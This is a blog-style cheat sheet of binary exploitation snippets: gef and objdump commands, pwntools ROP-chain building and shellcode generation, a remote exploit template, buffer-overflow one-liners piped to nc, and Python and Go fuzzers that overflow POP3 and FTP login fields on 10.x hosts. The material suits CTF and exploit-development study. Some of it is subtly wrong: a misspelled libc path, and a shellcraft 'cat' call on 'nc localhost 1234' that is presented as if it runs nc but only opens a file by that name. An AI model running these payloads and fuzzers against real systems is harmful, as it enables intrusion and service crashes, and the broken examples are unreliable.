Posts Binary Exploitation Snippets
Post
Cancel

Binary Exploitation Snippets

Collection of random commands/code snippets/resources relating to binary exploitation.

Analysis


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
file <bin>
strings <bin>
ldd <bin>
ltrace <bin>
strace <bin>

objdump -D <bin> | less
/<main
/<puts
...

readelf -s <bin>
readelf -s <bin> | grep '/bin/sh'
readelf -s <bin> | grep system
strings -tx /lib/x86_64-linux-gun/libc.so.6 | grep /bin/sh

cat /proc/sys/kernel/randomize_va_space

gef


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef➤  checksec
gef➤  i functions
gef➤  disas <function>
gef➤  pattern create <int>
gef➤  pattern search <addr>
gef➤  pattern offset <string>
gef➤  search-pattern /bin
gef➤  c  //continue
gef➤  n  //next
gef➤  s  // step
gef➤  x puts  // get location of puts
gef➤  x system  // get location of system
gef➤  fin //finish function
gef➤  info break // list breakpoints
gef➤  print $_got()
gef➤  ! ROPgadget --binary callme32|grep sp  // list gadgets
gef➤  ! ROPgadget --binary callme32|grep pop  // grep for pop gadgets

pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
>>> from pwn import *

>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
b'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
b'\xde\xad\xbe\xef'



>>> exe = context.binary = ELF('./bin')
[*] '/root/bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> r = ROP(exe)
[*] Loading gadgets for '/root/bin'
>>> r.gadgets
{4198915L: Gadget(0x401203, [u'pop rbp', u'pop r12', u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'rbp', u'r12', u'r13', u'r14', u'r15'], 0x30), 4198916L: Gadget(0x401204, [u'pop r12', u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'r12', u'r13', u'r14', u'r15'], 0x28), 4198917L: Gadget(0x401205, [u'pop rsp', u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'rsp', u'r13', u'r14', u'r15'], 0x28), 4198918L: Gadget(0x401206, [u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'r13', u'r14', u'r15'], 0x20), 4198919L: Gadget(0x401207, [u'pop rbp', u'pop r14', u'pop r15', u'ret'], [u'rbp', u'r14', u'r15'], 0x20), 4198920L: Gadget(0x401208, [u'pop r14', u'pop r15', u'ret'], [u'r14', u'r15'], 0x18), 4198921L: Gadget(0x401209, [u'pop rsi', u'pop r15', u'ret'], [u'rsi', u'r15'], 0x18), 4198922L: Gadget(0x40120a, [u'pop r15', u'ret'], [u'r15'], 0x10), 4198923L: Gadget(0x40120b, [u'pop rdi', u'ret'], [u'rdi'], 0x10), 4198418L: Gadget(0x401012, [u'add rsp, 8', u'ret'], [], 0x10), 4198419L: Gadget(0x401013, [u'add esp, 8', u'ret'], [], 0x10), 4198422L: Gadget(0x401016, [u'ret'], [], 0x8), 4198713L: Gadget(0x401139, [u'pop rbp', u'ret'], [u'rbp'], 0x10), 4198827L: Gadget(0x4011ab, [u'leave', u'ret'], ['rbp', 'rsp'], 0x2540be407)}
>>> r.find_gadget(["pop rdi", "ret"])
Gadget(0x40120b, [u'pop rdi', u'ret'], [u'rdi'], 0x10)
>>> g = r.find_gadget(["pop rdi", "ret"])
>>> g.address
4198923L
>>>
>>> r.call(exe.sym.puts, [exe.got.puts])
>>> r.call(exe.sym.main)
>>> print r.dump()
0x0000:         0x40120b pop rdi; ret
0x0008:         0x404018 [arg0] rdi = got.puts
0x0010:         0x40102c
0x0018:         0x40115f 0x40115f()
>>> exe.got.puts
4210712
>>> hex(exe.got.puts)
'0x404018'


>>> pwn.shellcraft.i386.linux.cat('flag.txt')     # generate our own shellcode to cat flag.txt
u"    /* push 'flag.txt\\x00' */\n    push 1\n    dec byte ptr [esp]\n    push 0x7478742e\n    push 0x67616c66\n    /* open(file='esp', oflag='O_RDONLY', mode=0) */\n    mov ebx, esp\n    xor ecx, ecx\n    xor edx, edx\n    /* call open() */\n    push SYS_open /* 5 */\n    pop eax\n    int 0x80\n    /* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */\n    push 1\n    pop ebx\n    mov ecx, eax\n    xor edx, edx\n    push 0x7fffffff\n    pop esi\n    /* call sendfile() */\n    xor eax, eax\n    mov al, 0xbb\n    int 0x80\n"
            
>>> pwn.shellcraft.i386.linux.cat('nc localhost 1234')
u"    /* push 'nc localhost 1234\\x00' */\n    push 0x34\n    push 0x33323120\n    push 0x74736f68\n    push 0x6c61636f\n    push 0x6c20636e\n    /* open(file='esp', oflag='O_RDONLY', mode=0) */\n    mov ebx, esp\n    xor ecx, ecx\n    xor edx, edx\n    /* call open() */\n    push SYS_open /* 5 */\n    pop eax\n    int 0x80\n    /* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */\n    push 1\n    pop ebx\n    mov ecx, eax\n    xor edx, edx\n    push 0x7fffffff\n    pop esi\n    /* call sendfile() */\n    xor eax, eax\n    mov al, 0xbb\n    int 0x80\n"


# We can then turn the above into opcodes...

>>> pwn.asm(pwn.shellcraft.i386.linux.cat('flag.txt'))        
'j\x01\xfe\x0c$h.txthflag\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'

>>> pwn.asm(pwn.shellcraft.i386.linux.cat('nc localhost 1234'))   
'j4h 123hhosthocalhnc l\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'

Python Templates


Basic template for remote and local devlopment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

elf = ELF('./bin')
local = True

if local:
    p = elf.process()
    libc = ELF('/lib/...')
else:
    host = '10.10.10.10'
    port = 1337
    p = remote(host,port)
    libc = ELF('lib.so')

#print(p.recv())
p.recvuntil('$: ')
p.recv().strip()
#print(int(p.recv().strip()),16)

Some random commands:

1
2
3
python -c "print '\xee...'" | ./<bin>
python -c "print '\xee...'" | nc 10.10.10.10 1337
(python -c "print 'A'*100 + '\xx...'" ; cat) | ...

Fuzzing Templates


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <=30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" % len(string)
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect(('10.10.10.10',110))
  s.recv(1024)
  s.send('USER test\r\n')
  s.recv(1024)
  s.send('PASS ' + string + '\r\n')
  s.send('QUIT\r\n')
  s.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package main

import (
	"bufio"
	"fmt"
	"log"
	"net"
)

func main() {
	for i := 0; i < 2500; i++ {
		conn, err := net.Dial("tcp", "10.0.1.20:21")
		if err != nil {
			log.Fatalf("[!] Error at offset %d: %s\n", i, err)
		}
		bufio.NewReader(conn).ReadString('\n')

		user := ""
		for n := 0; n <= i; n++ {
			user += "A"
		}

		raw := "USER %s\n"
		fmt.Fprintf(conn, raw, user)
		bufio.NewReader(conn).ReadString('\n')

		raw = "PASS password\n"
		fmt.Fprint(conn, raw)
		bufio.NewReader(conn).ReadString('\n')

		if err := conn.Close(); err != nil {
			log.Println("[!] Unable to close connection. Is service alive?")
		}
	}
}

Mona


1
2
3
4
!mona bytearray
!mona rop
!mona jmp -r esp
!mona find -s "\xff\xe4" -m target.dll

Resources


This post is licensed under CC BY 4.0 by the author.